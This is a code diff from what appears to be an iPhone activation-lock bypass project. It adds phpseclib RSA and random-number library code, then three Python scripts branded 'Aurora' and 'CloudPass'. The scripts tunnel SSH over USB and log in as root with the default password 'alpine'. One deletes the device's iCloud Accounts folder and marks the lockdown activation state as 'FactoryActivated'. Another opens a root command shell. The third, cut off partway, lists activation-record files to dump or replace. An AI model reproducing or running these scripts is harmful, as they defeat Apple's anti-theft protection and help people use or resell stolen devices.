+        $modBits = 8 * $this->k;
+
+        $s2 = $this->_os2ip($s);
+        $m2 = $this->_rsavp1($s2);
+        if ($m2 === false) {
+            user_error('Invalid signature');
+            return false;
+        }
+        $em = $this->_i2osp($m2, $modBits >> 3);
+        if ($em === false) {
+            user_error('Invalid signature');
+            return false;
+        }
+
+        // EMSA-PSS verification
+
+        return $this->_emsa_pss_verify($m, $em, $modBits - 1);
+    }
+
+    /**
+     * EMSA-PKCS1-V1_5-ENCODE
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-9.2 RFC3447#section-9.2}.
+     *
+     * @access private
+     * @param String $m
+     * @param Integer $emLen
+     * @return String
+     */
+    function _emsa_pkcs1_v1_5_encode($m, $emLen)
+    {
+        $h = $this->hash->hash($m);
+        if ($h === false) {
+            return false;
+        }
+
+        // see http://tools.ietf.org/html/rfc3447#page-43
+        switch ($this->hashName) {
+            case 'md2':
+                $t = pack('H*', '3020300c06082a864886f70d020205000410');
+                break;
+            case 'md5':
+                $t = pack('H*', '3020300c06082a864886f70d020505000410');
+                break;
+            case 'sha1':
+                $t = pack('H*', '3021300906052b0e03021a05000414');
+                break;
+            case 'sha256':
+                $t = pack('H*', '3031300d060960864801650304020105000420');
+                break;
+            case 'sha384':
+                $t = pack('H*', '3041300d060960864801650304020205000430');
+                break;
+            case 'sha512':
+                $t = pack('H*', '3051300d060960864801650304020305000440');
+        }
+        $t.= $h;
+        $tLen = strlen($t);
+
+        if ($emLen < $tLen + 11) {
+            user_error('Intended encoded message length too short');
+            return false;
+        }
+
+        $ps = str_repeat(chr(0xFF), $emLen - $tLen - 3);
+
+        $em = "\0\1$ps\0$t";
+
+        return $em;
+    }
+
+    /**
+     * RSASSA-PKCS1-V1_5-SIGN
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-8.2.1 RFC3447#section-8.2.1}.
+     *
+     * @access private
+     * @param String $m
+     * @return String
+     */
+    function _rsassa_pkcs1_v1_5_sign($m)
+    {
+        // EMSA-PKCS1-v1_5 encoding
+
+        $em = $this->_emsa_pkcs1_v1_5_encode($m, $this->k);
+        if ($em === false) {
+            user_error('RSA modulus too short');
+            return false;
+        }
+
+        // RSA signature
+
+        $m = $this->_os2ip($em);
+        $s = $this->_rsasp1($m);
+        $s = $this->_i2osp($s, $this->k);
+
+        // Output the signature S
+
+        return $s;
+    }
+
+    /**
+     * RSASSA-PKCS1-V1_5-VERIFY
+     *
+     * See {@link http://tools.ietf.org/html/rfc3447#section-8.2.2 RFC3447#section-8.2.2}.
+     *
+     * @access private
+     * @param String $m
+     * @return String
+     */
+    function _rsassa_pkcs1_v1_5_verify($m, $s)
+    {
+        // Length checking
+
+        if (strlen($s) != $this->k) {
+            user_error('Invalid signature');
+            return false;
+        }
+
+        // RSA verification
+
+        $s = $this->_os2ip($s);
+        $m2 = $this->_rsavp1($s);
+        if ($m2 === false) {
+            user_error('Invalid signature');
+            return false;
+        }
+        $em = $this->_i2osp($m2, $this->k);
+        if ($em === false) {
+            user_error('Invalid signature');
+            return false;
+        }
+
+        // EMSA-PKCS1-v1_5 encoding
+
+        $em2 = $this->_emsa_pkcs1_v1_5_encode($m, $this->k);
+        if ($em2 === false) {
+            user_error('RSA modulus too short');
+            return false;
+        }
+
+        // Compare
+        return $this->_equals($em, $em2);
+    }
+
+    /**
+     * Set Encryption Mode
+     *
+     * Valid values include CRYPT_RSA_ENCRYPTION_OAEP and CRYPT_RSA_ENCRYPTION_PKCS1.
+     *
+     * @access public
+     * @param Integer $mode
+     */
+    function setEncryptionMode($mode)
+    {
+        $this->encryptionMode = $mode;
+    }
+
+    /**
+     * Set Signature Mode
+     *
+     * Valid values include CRYPT_RSA_SIGNATURE_PSS and CRYPT_RSA_SIGNATURE_PKCS1
+     *
+     * @access public
+     * @param Integer $mode
+     */
+    function setSignatureMode($mode)
+    {
+        $this->signatureMode = $mode;
+    }
+
+    /**
+     * Set public key comment.
+     *
+     * @access public
+     * @param String $comment
+     */
+    function setComment($comment)
+    {
+        $this->comment = $comment;
+    }
+
+    /**
+     * Get public key comment.
+     *
+     * @access public
+     * @return String
+     */
+    function getComment()
+    {
+        return $this->comment;
+    }
+
+    /**
+     * Encryption
+     *
+     * Both CRYPT_RSA_ENCRYPTION_OAEP and CRYPT_RSA_ENCRYPTION_PKCS1 both place limits on how long $plaintext can be.
+     * If $plaintext exceeds those limits it will be broken up so that it does and the resultant ciphertext's will
+     * be concatenated together.
+     *
+     * @see decrypt()
+     * @access public
+     * @param String $plaintext
+     * @return String
+     */
+    function encrypt($plaintext)
+    {
+        switch ($this->encryptionMode) {
+            case CRYPT_RSA_ENCRYPTION_PKCS1:
+                $length = $this->k - 11;
+                if ($length <= 0) {
+                    return false;
+                }
+
+                $plaintext = str_split($plaintext, $length);
+                $ciphertext = '';
+                foreach ($plaintext as $m) {
+                    $ciphertext.= $this->_rsaes_pkcs1_v1_5_encrypt($m);
+                }
+                return $ciphertext;
+            //case CRYPT_RSA_ENCRYPTION_OAEP:
+            default:
+                $length = $this->k - 2 * $this->hLen - 2;
+                if ($length <= 0) {
+                    return false;
+                }
+
+                $plaintext = str_split($plaintext, $length);
+                $ciphertext = '';
+                foreach ($plaintext as $m) {
+                    $ciphertext.= $this->_rsaes_oaep_encrypt($m);
+                }
+                return $ciphertext;
+        }
+    }
+
+    /**
+     * Decryption
+     *
+     * @see encrypt()
+     * @access public
+     * @param String $plaintext
+     * @return String
+     */
+    function decrypt($ciphertext)
+    {
+        if ($this->k <= 0) {
+            return false;
+        }
+
+        $ciphertext = str_split($ciphertext, $this->k);
+        $ciphertext[count($ciphertext) - 1] = str_pad($ciphertext[count($ciphertext) - 1], $this->k, chr(0), STR_PAD_LEFT);
+
+        $plaintext = '';
+
+        switch ($this->encryptionMode) {
+            case CRYPT_RSA_ENCRYPTION_PKCS1:
+                $decrypt = '_rsaes_pkcs1_v1_5_decrypt';
+                break;
+            //case CRYPT_RSA_ENCRYPTION_OAEP:
+            default:
+                $decrypt = '_rsaes_oaep_decrypt';
+        }
+
+        foreach ($ciphertext as $c) {
+            $temp = $this->$decrypt($c);
+            if ($temp === false) {
+                return false;
+            }
+            $plaintext.= $temp;
+        }
+
+        return $plaintext;
+    }
+
+    /**
+     * Create a signature
+     *
+     * @see verify()
+     * @access public
+     * @param String $message
+     * @return String
+     */
+    function sign($message)
+    {
+        if (empty($this->modulus) || empty($this->exponent)) {
+            return false;
+        }
+
+        switch ($this->signatureMode) {
+            case CRYPT_RSA_SIGNATURE_PKCS1:
+                return $this->_rsassa_pkcs1_v1_5_sign($message);
+            //case CRYPT_RSA_SIGNATURE_PSS:
+            default:
+                return $this->_rsassa_pss_sign($message);
+        }
+    }
+
+    /**
+     * Verifies a signature
+     *
+     * @see sign()
+     * @access public
+     * @param String $message
+     * @param String $signature
+     * @return Boolean
+     */
+    function verify($message, $signature)
+    {
+        if (empty($this->modulus) || empty($this->exponent)) {
+            return false;
+        }
+
+        switch ($this->signatureMode) {
+            case CRYPT_RSA_SIGNATURE_PKCS1:
+                return $this->_rsassa_pkcs1_v1_5_verify($message, $signature);
+            //case CRYPT_RSA_SIGNATURE_PSS:
+            default:
+                return $this->_rsassa_pss_verify($message, $signature);
+        }
+    }
+
+    /**
+     * Extract raw BER from Base64 encoding
+     *
+     * @access private
+     * @param String $str
+     * @return String
+     */
+    function _extractBER($str)
+    {
+        /* X.509 certs are assumed to be base64 encoded but sometimes they'll have additional things in them
+         * above and beyond the ceritificate.
+         * ie. some may have the following preceding the -----BEGIN CERTIFICATE----- line:
+         *
+         * Bag Attributes
+         *     localKeyID: 01 00 00 00
+         * subject=/O=organization/OU=org unit/CN=common name
+         * issuer=/O=organization/CN=common name
+         */
+        $temp = preg_replace('#.*?^-+[^-]+-+#ms', '', $str, 1);
+        // remove the -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- stuff
+        $temp = preg_replace('#-+[^-]+-+#', '', $temp);
+        // remove new lines
+        $temp = str_replace(array("\r", "\n", ' '), '', $temp);
+        $temp = preg_match('#^[a-zA-Z\d/+]*={0,2}$#', $temp) ? base64_decode($temp) : false;
+        return $temp != false ? $temp : $str;
+    }
+}

source/scripts/phpbypass/var/www/crypt/Random.php

@@ -0,0 +1,300 @@
+<?php
+
+/**
+ * Random Number Generator
+ *
+ * The idea behind this function is that it can be easily replaced with your own crypt_random_string()
+ * function. eg. maybe you have a better source of entropy for creating the initial states or whatever.
+ *
+ * PHP versions 4 and 5
+ *
+ * Here's a short example of how to use this library:
+ * <code>
+ * <?php
+ *    include 'Crypt/Random.php';
+ *
+ *    echo bin2hex(crypt_random_string(8));
+ * ?>
+ * </code>
+ *
+ * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ *
+ * @category  Crypt
+ * @package   Crypt_Random
+ * @author    Jim Wigginton <terrafrost@php.net>
+ * @copyright 2007 Jim Wigginton
+ * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
+ * @link      http://phpseclib.sourceforge.net
+ */
+
+// laravel is a PHP framework that utilizes phpseclib. laravel workbenches may, independently,
+// have phpseclib as a requirement as well. if you're developing such a program you may encounter
+// a "Cannot redeclare crypt_random_string()" error.
+if (!function_exists('crypt_random_string')) {
+    /**
+     * "Is Windows" test
+     *
+     * @access private
+     */
+    define('CRYPT_RANDOM_IS_WINDOWS', strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
+
+    /**
+     * Generate a random string.
+     *
+     * Although microoptimizations are generally discouraged as they impair readability this function is ripe with
+     * microoptimizations because this function has the potential of being called a huge number of times.
+     * eg. for RSA key generation.
+     *
+     * @param Integer $length
+     * @return String
+     * @access public
+     */
+    function crypt_random_string($length)
+    {
+        if (CRYPT_RANDOM_IS_WINDOWS) {
+            // method 1. prior to PHP 5.3 this would call rand() on windows hence the function_exists('class_alias') call.
+            // ie. class_alias is a function that was introduced in PHP 5.3
+            if (function_exists('mcrypt_create_iv') && function_exists('class_alias')) {
+                return mcrypt_create_iv($length);
+            }
+            // method 2. openssl_random_pseudo_bytes was introduced in PHP 5.3.0 but prior to PHP 5.3.4 there was,
+            // to quote <http://php.net/ChangeLog-5.php#5.3.4>, "possible blocking behavior". as of 5.3.4
+            // openssl_random_pseudo_bytes and mcrypt_create_iv do the exact same thing on Windows. ie. they both
+            // call php_win32_get_random_bytes():
+            //
+            // https://github.com/php/php-src/blob/7014a0eb6d1611151a286c0ff4f2238f92c120d6/ext/openssl/openssl.c#L5008
+            // https://github.com/php/php-src/blob/7014a0eb6d1611151a286c0ff4f2238f92c120d6/ext/mcrypt/mcrypt.c#L1392
+            //
+            // php_win32_get_random_bytes() is defined thusly:
+            //
+            // https://github.com/php/php-src/blob/7014a0eb6d1611151a286c0ff4f2238f92c120d6/win32/winutil.c#L80
+            //
+            // we're calling it, all the same, in the off chance that the mcrypt extension is not available
+            if (function_exists('openssl_random_pseudo_bytes') && version_compare(PHP_VERSION, '5.3.4', '>=')) {
+                return openssl_random_pseudo_bytes($length);
+            }
+        } else {
+            // method 1. the fastest
+            if (function_exists('openssl_random_pseudo_bytes')) {
+                return openssl_random_pseudo_bytes($length);
+            }
+            // method 2
+            static $fp = true;
+            if ($fp === true) {
+                // warning's will be output unles the error suppression operator is used. errors such as
+                // "open_basedir restriction in effect", "Permission denied", "No such file or directory", etc.
+                $fp = @fopen('/dev/urandom', 'rb');
+            }
+            if ($fp !== true && $fp !== false) { // surprisingly faster than !is_bool() or is_resource()
+                return fread($fp, $length);
+            }
+            // method 3. pretty much does the same thing as method 2 per the following url:
+            // https://github.com/php/php-src/blob/7014a0eb6d1611151a286c0ff4f2238f92c120d6/ext/mcrypt/mcrypt.c#L1391
+            // surprisingly slower than method 2. maybe that's because mcrypt_create_iv does a bunch of error checking that we're
+            // not doing. regardless, this'll only be called if this PHP script couldn't open /dev/urandom due to open_basedir
+            // restrictions or some such
+            if (function_exists('mcrypt_create_iv')) {
+                return mcrypt_create_iv($length, MCRYPT_DEV_URANDOM);
+            }
+        }
+        // at this point we have no choice but to use a pure-PHP CSPRNG
+
+        // cascade entropy across multiple PHP instances by fixing the session and collecting all
+        // environmental variables, including the previous session data and the current session
+        // data.
+        //
+        // mt_rand seeds itself by looking at the PID and the time, both of which are (relatively)
+        // easy to guess at. linux uses mouse clicks, keyboard timings, etc, as entropy sources, but
+        // PHP isn't low level to be able to use those as sources and on a web server there's not likely
+        // going to be a ton of keyboard or mouse action. web servers do have one thing that we can use
+        // however, a ton of people visiting the website. obviously you don't want to base your seeding
+        // soley on parameters a potential attacker sends but (1) not everything in $_SERVER is controlled
+        // by the user and (2) this isn't just looking at the data sent by the current user - it's based
+        // on the data sent by all users. one user requests the page and a hash of their info is saved.
+        // another user visits the page and the serialization of their data is utilized along with the
+        // server envirnment stuff and a hash of the previous http request data (which itself utilizes
+        // a hash of the session data before that). certainly an attacker should be assumed to have
+        // full control over his own http requests. he, however, is not going to have control over
+        // everyone's http requests.
+        static $crypto = false, $v;
+        if ($crypto === false) {
+            // save old session data
+            $old_session_id = session_id();
+            $old_use_cookies = ini_get('session.use_cookies');
+            $old_session_cache_limiter = session_cache_limiter();
+            $_OLD_SESSION = isset($_SESSION) ? $_SESSION : false;
+            if ($old_session_id != '') {
+                session_write_close();
+            }
+
+            session_id(1);
+            ini_set('session.use_cookies', 0);
+            session_cache_limiter('');
+            session_start();
+
+            $v = $seed = $_SESSION['seed'] = pack('H*', sha1(
+                serialize($_SERVER) .
+                serialize($_POST) .
+                serialize($_GET) .
+                serialize($_COOKIE) .
+                serialize($GLOBALS) .
+                serialize($_SESSION) .
+                serialize($_OLD_SESSION)
+            ));
+            if (!isset($_SESSION['count'])) {
+                $_SESSION['count'] = 0;
+            }
+            $_SESSION['count']++;
+
+            session_write_close();
+
+            // restore old session data
+            if ($old_session_id != '') {
+                session_id($old_session_id);
+                session_start();
+                ini_set('session.use_cookies', $old_use_cookies);
+                session_cache_limiter($old_session_cache_limiter);
+            } else {
+               if ($_OLD_SESSION !== false) {
+                   $_SESSION = $_OLD_SESSION;
+                   unset($_OLD_SESSION);
+                } else {
+                    unset($_SESSION);
+                }
+            }
+
+            // in SSH2 a shared secret and an exchange hash are generated through the key exchange process.
+            // the IV client to server is the hash of that "nonce" with the letter A and for the encryption key it's the letter C.
+            // if the hash doesn't produce enough a key or an IV that's long enough concat successive hashes of the
+            // original hash and the current hash. we'll be emulating that. for more info see the following URL:
+            //
+            // http://tools.ietf.org/html/rfc4253#section-7.2
+            //
+            // see the is_string($crypto) part for an example of how to expand the keys
+            $key = pack('H*', sha1($seed . 'A'));
+            $iv = pack('H*', sha1($seed . 'C'));
+
+            // ciphers are used as per the nist.gov link below. also, see this link:
+            //
+            // http://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator#Designs_based_on_cryptographic_primitives
+            switch (true) {
+                case phpseclib_resolve_include_path('Crypt/AES.php'):
+                    if (!class_exists('Crypt_AES')) {
+                        include_once 'AES.php';
+                    }
+                    $crypto = new Crypt_AES(CRYPT_AES_MODE_CTR);
+                    break;
+                case phpseclib_resolve_include_path('Crypt/Twofish.php'):
+                    if (!class_exists('Crypt_Twofish')) {
+                        include_once 'Twofish.php';
+                    }
+                    $crypto = new Crypt_Twofish(CRYPT_TWOFISH_MODE_CTR);
+                    break;
+                case phpseclib_resolve_include_path('Crypt/Blowfish.php'):
+                    if (!class_exists('Crypt_Blowfish')) {
+                        include_once 'Blowfish.php';
+                    }
+                    $crypto = new Crypt_Blowfish(CRYPT_BLOWFISH_MODE_CTR);
+                    break;
+                case phpseclib_resolve_include_path('Crypt/TripleDES.php'):
+                    if (!class_exists('Crypt_TripleDES')) {
+                        include_once 'TripleDES.php';
+                    }
+                    $crypto = new Crypt_TripleDES(CRYPT_DES_MODE_CTR);
+                    break;
+                case phpseclib_resolve_include_path('Crypt/DES.php'):
+                    if (!class_exists('Crypt_DES')) {
+                        include_once 'DES.php';
+                    }
+                    $crypto = new Crypt_DES(CRYPT_DES_MODE_CTR);
+                    break;
+                case phpseclib_resolve_include_path('Crypt/RC4.php'):
+                    if (!class_exists('Crypt_RC4')) {
+                        include_once 'RC4.php';
+                    }
+                    $crypto = new Crypt_RC4();
+                    break;
+                default:
+                    user_error('crypt_random_string requires at least one symmetric cipher be loaded');
+                    return false;
+            }
+
+            $crypto->setKey($key);
+            $crypto->setIV($iv);
+            $crypto->enableContinuousBuffer();
+        }
+
+        //return $crypto->encrypt(str_repeat("\0", $length));
+
+        // the following is based off of ANSI X9.31:
+        //
+        // http://csrc.nist.gov/groups/STM/cavp/documents/rng/931rngext.pdf
+        //
+        // OpenSSL uses that same standard for it's random numbers:
+        //
+        // http://www.opensource.apple.com/source/OpenSSL/OpenSSL-38/openssl/fips-1.0/rand/fips_rand.c
+        // (do a search for "ANS X9.31 A.2.4")
+        $result = '';
+        while (strlen($result) < $length) {
+            $i = $crypto->encrypt(microtime()); // strlen(microtime()) == 21
+            $r = $crypto->encrypt($i ^ $v); // strlen($v) == 20
+            $v = $crypto->encrypt($r ^ $i); // strlen($r) == 20
+            $result.= $r;
+        }
+        return substr($result, 0, $length);
+    }
+}
+
+if (!function_exists('phpseclib_resolve_include_path')) {
+    /**
+     * Resolve filename against the include path.
+     *
+     * Wrapper around stream_resolve_include_path() (which was introduced in
+     * PHP 5.3.2) with fallback implementation for earlier PHP versions.
+     *
+     * @param string $filename
+     * @return mixed Filename (string) on success, false otherwise.
+     * @access public
+     */
+    function phpseclib_resolve_include_path($filename)
+    {
+        if (function_exists('stream_resolve_include_path')) {
+            return stream_resolve_include_path($filename);
+        }
+
+        // handle non-relative paths
+        if (file_exists($filename)) {
+            return realpath($filename);
+        }
+
+        $paths = PATH_SEPARATOR == ':' ?
+            preg_split('#(?<!phar):#', get_include_path()) :
+            explode(PATH_SEPARATOR, get_include_path());
+        foreach ($paths as $prefix) {
+            // path's specified in include_path don't always end in /
+            $ds = substr($prefix, -1) == DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR;
+            $file = $prefix . $ds . $filename;
+            if (file_exists($file)) {
+                return realpath($file);
+            }
+        }
+
+        return false;
+    }
+}

source/scripts/remove_oldicloud.py

@@ -0,0 +1,149 @@
+import socketserver
+import paramiko
+import usbmux
+import select
+
+from threading import Thread
+from socket import socket
+
+
+class SocketRelay(object):
+
+    def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
+        self.a = a
+        self.b = b
+        self.atob = bytes()
+        self.btoa = bytes()
+        self.max_buffer = max_buffer
+
+    def handle(self) -> None:
+        while True:
+            rlist = list()
+            wlist = list()
+            xlist = [self.a, self.b]
+            if self.atob:
+                wlist.append(self.b)
+            if self.btoa:
+                wlist.append(self.a)
+            if len(self.atob) < self.max_buffer:
+                rlist.append(self.a)
+            if len(self.btoa) < self.max_buffer:
+                rlist.append(self.b)
+            rlo, wlo, xlo = select.select(rlist, wlist, xlist)
+            if xlo:
+                return
+            if self.a in wlo:
+                n = self.a.send(self.btoa)
+                self.btoa = self.btoa[n:]
+            if self.b in wlo:
+                n = self.b.send(self.atob)
+                self.atob = self.atob[n:]
+            if self.a in rlo:
+                s = self.a.recv(self.max_buffer - len(self.atob))
+                if not s:
+                    return
+                self.atob += s
+            if self.b in rlo:
+                s = self.b.recv(self.max_buffer - len(self.btoa))
+                if not s:
+                    return
+                self.btoa += s
+
+
+class TCPRelay(socketserver.BaseRequestHandler):
+    def handle(self) -> None:
+        print("Incoming connection to %d" % self.server.server_address[1])
+        mux = usbmux.USBMux(None)
+        print("Waiting for devices...")
+        if not mux.devices:
+            mux.process(1.0)
+        if not mux.devices:
+            print("No device found")
+            self.request.close()
+            return
+        dev = mux.devices[0]
+        print("Connecting to device %s" % str(dev))
+        d_sock = mux.connect(dev, self.server.r_port)
+        l_sock = self.request
+        print("Connection established, relaying data")
+        try:
+            fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
+            fwd.handle()
+        finally:
+            d_sock.close()
+            l_sock.close()
+        print("Connection closed")
+
+
+class TCPServer(socketserver.TCPServer):
+    allow_reuse_address = True
+
+
+class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
+    allow_reuse_address = True
+
+
+class PhoneConnect:
+
+    def __init__(self,
+                 host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
+        self.host = host
+        self.mobile_port = mobile_port
+        self.computer_port = computer_port
+        self.buffer_size = buffer_size
+
+    def start(self) -> None:
+
+        servers = list()
+        ports = [(self.mobile_port, self.computer_port)]
+
+        for r_port, l_port in ports:
+            print(f"Forwarding local port {l_port} to remote port {r_port}")
+            server = ThreadedTCPServer((self.host, l_port), TCPRelay)
+            server.r_port = r_port
+            server.buffer_size = self.buffer_size
+            servers.append(server)
+
+        alive = True
+
+        while alive:
+            try:
+                rl, wl, xl = select.select(servers, [], [])
+                for server in rl:
+                    server.handle_request()
+            except KeyboardInterrupt:
+                print("Server stopped")
+            except Exception:
+                alive = False
+
+
+if __name__ == '__main__':
+    print("Aurora remove old icloud by Toni.Dev")
+    server = PhoneConnect()
+
+    thread = Thread(target=server.start)
+    thread.start()
+
+    host = "localhost"
+    user = "root"
+    secret = "alpine"
+    port = 2222
+    command = "cd /var/mobile/Library; rm -r Accounts; mkdir Accounts;"
+    command_1 = "cd /var/root/Library/Lockdown && echo 'FactoryActivated' >> com.apple.mobile.lockdown_cache-ActivationState"
+    client = paramiko.SSHClient()
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    try:
+        client.connect(hostname=host, username=user, password=secret, port=port)
+        client.exec_command(command)
+        client.exec_command(command_1)
+        print("PLEASE RESTART YOUR PHONE")
+
+    except paramiko.ssh_exception.AuthenticationException:
+        print("Authentication failed")
+    except paramiko.ssh_exception.NoValidConnectionsError:
+        print("Failed to establish connection with the server")
+
+    client.close()
+    print("Done!")
+
+    thread.join()

source/scripts/shell.py

@@ -0,0 +1,146 @@
+import socketserver
+import paramiko
+import usbmux
+import select
+
+from threading import Thread
+from socket import socket
+
+
+class SocketRelay(object):
+
+    def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
+        self.a = a
+        self.b = b
+        self.atob = bytes()
+        self.btoa = bytes()
+        self.max_buffer = max_buffer
+
+    def handle(self) -> None:
+        while True:
+            rlist = list()
+            wlist = list()
+            xlist = [self.a, self.b]
+            if self.atob:
+                wlist.append(self.b)
+            if self.btoa:
+                wlist.append(self.a)
+            if len(self.atob) < self.max_buffer:
+                rlist.append(self.a)
+            if len(self.btoa) < self.max_buffer:
+                rlist.append(self.b)
+            rlo, wlo, xlo = select.select(rlist, wlist, xlist)
+            if xlo:
+                return
+            if self.a in wlo:
+                n = self.a.send(self.btoa)
+                self.btoa = self.btoa[n:]
+            if self.b in wlo:
+                n = self.b.send(self.atob)
+                self.atob = self.atob[n:]
+            if self.a in rlo:
+                s = self.a.recv(self.max_buffer - len(self.atob))
+                if not s:
+                    return
+                self.atob += s
+            if self.b in rlo:
+                s = self.b.recv(self.max_buffer - len(self.btoa))
+                if not s:
+                    return
+                self.btoa += s
+
+
+class TCPRelay(socketserver.BaseRequestHandler):
+    def handle(self) -> None:
+        print("Incoming connection to %d" % self.server.server_address[1])
+        mux = usbmux.USBMux(None)
+        print("Waiting for devices...")
+        if not mux.devices:
+            mux.process(1.0)
+        if not mux.devices:
+            print("No device found")
+            self.request.close()
+            return
+        dev = mux.devices[0]
+        print("Connecting to device %s" % str(dev))
+        d_sock = mux.connect(dev, self.server.r_port)
+        l_sock = self.request
+        print("Connection established, relaying data")
+        try:
+            fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
+            fwd.handle()
+        finally:
+            d_sock.close()
+            l_sock.close()
+        print("Connection closed")
+
+
+class TCPServer(socketserver.TCPServer):
+    allow_reuse_address = True
+
+
+class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
+    allow_reuse_address = True
+
+
+class PhoneConnect:
+
+    def __init__(self,
+                 host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
+        self.host = host
+        self.mobile_port = mobile_port
+        self.computer_port = computer_port
+        self.buffer_size = buffer_size
+
+    def start(self) -> None:
+
+        servers = list()
+        ports = [(self.mobile_port, self.computer_port)]
+
+        for r_port, l_port in ports:
+            print(f"Forwarding local port {l_port} to remote port {r_port}")
+            server = ThreadedTCPServer((self.host, l_port), TCPRelay)
+            server.r_port = r_port
+            server.buffer_size = self.buffer_size
+            servers.append(server)
+
+        alive = True
+        while alive:
+            try:
+                rl, wl, xl = select.select(servers, [], [])
+                for server in rl:
+                    server.handle_request()
+            except KeyboardInterrupt:
+                print("Server stopped")
+            except Exception:
+                alive = False
+
+
+if __name__ == '__main__':
+    print("CloudPass Shell to IOS by bu3srh")
+    server = PhoneConnect()
+
+    thread = Thread(target=server.start)
+    thread.start()
+
+    host = "localhost"
+    user = "root"
+    secret = "alpine"
+    port = 2222
+    while True:
+        command = input("$ ")
+        if command == "exit":
+            break
+        client = paramiko.SSHClient()
+        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+        try:
+            client.connect(hostname=host, username=user, password=secret, port=port)
+            client.exec_command(command)
+        except paramiko.ssh_exception.AuthenticationException:
+            print("Authentication failed")
+        except paramiko.ssh_exception.NoValidConnectionsError:
+            print("Failed to establish connection with the server")
+
+    print("Done!")
+
+    thread.join()

source/scripts/sim.py

@@ -0,0 +1,155 @@
+import socketserver
+import paramiko
+import usbmux
+import select
+import sys
+from threading import Thread
+from socket import socket
+
+
+class SocketRelay(object):
+
+    def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
+        self.a = a
+        self.b = b
+        self.atob = bytes()
+        self.btoa = bytes()
+        self.max_buffer = max_buffer
+
+    def handle(self) -> None:
+        while True:
+            rlist = list()
+            wlist = list()
+            xlist = [self.a, self.b]
+            if self.atob:
+                wlist.append(self.b)
+            if self.btoa:
+                wlist.append(self.a)
+            if len(self.atob) < self.max_buffer:
+                rlist.append(self.a)
+            if len(self.btoa) < self.max_buffer:
+                rlist.append(self.b)
+            rlo, wlo, xlo = select.select(rlist, wlist, xlist)
+            if xlo:
+                return
+            if self.a in wlo:
+                n = self.a.send(self.btoa)
+                self.btoa = self.btoa[n:]
+            if self.b in wlo:
+                n = self.b.send(self.atob)
+                self.atob = self.atob[n:]
+            if self.a in rlo:
+                s = self.a.recv(self.max_buffer - len(self.atob))
+                if not s:
+                    return
+                self.atob += s
+            if self.b in rlo:
+                s = self.b.recv(self.max_buffer - len(self.btoa))
+                if not s:
+                    return
+                self.btoa += s
+
+
+class TCPRelay(socketserver.BaseRequestHandler):
+    def handle(self) -> None:
+        print("Incoming connection to %d" % self.server.server_address[1])
+        mux = usbmux.USBMux(None)
+        print("Waiting for devices...")
+        if not mux.devices:
+            mux.process(1.0)
+        if not mux.devices:
+            print("No device found")
+            self.request.close()
+            return
+        dev = mux.devices[0]
+        print("Connecting to device %s" % str(dev))
+        d_sock = mux.connect(dev, self.server.r_port)
+        l_sock = self.request
+        print("Connection established, relaying data")
+        try:
+            fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
+            fwd.handle()
+        finally:
+            d_sock.close()
+            l_sock.close()
+        print("Connection closed")
+
+
+class TCPServer(socketserver.TCPServer):
+    allow_reuse_address = True
+
+
+class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
+    allow_reuse_address = True
+
+
+class PhoneConnect:
+
+    def __init__(self,
+                 host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
+        self.host = host
+        self.mobile_port = mobile_port
+        self.computer_port = computer_port
+        self.buffer_size = buffer_size
+
+    def start(self) -> None:
+
+        servers = list()
+        ports = [(self.mobile_port, self.computer_port)]
+
+        for r_port, l_port in ports:
+            print(f"Forwarding local port {l_port} to remote port {r_port}")
+            server = ThreadedTCPServer((self.host, l_port), TCPRelay)
+            server.r_port = r_port
+            server.buffer_size = self.buffer_size
+            servers.append(server)
+
+        alive = True
+
+        while alive:
+            try:
+                rl, wl, xl = select.select(servers, [], [])
+                for server in rl:
+                    server.handle_request()
+            except KeyboardInterrupt:
+                print("Server stopped")
+            except Exception:
+                alive = False
+
+
+if __name__ == '__main__':
+    print("Cloudpass remove old icloud by bu3srh")
+    server = PhoneConnect()
+
+    thread = Thread(target=server.start)
+    thread.start()
+    # get args if we dump from a device or to a device
+    args = sys.argv
+    arg = args[1]
+    host = "localhost"
+    user = "root"
+    secret = "alpine"
+    port = 2222
+    paths = ["/var/root/library/lockdown/data_ark.plist","/var/containers/data/system/com.apple.mobileactivationd/library/internal/data_ark.plist","/var/containers/data/system/com.apple.mobileactivationd/library/activation_records/activation_record.plist"]
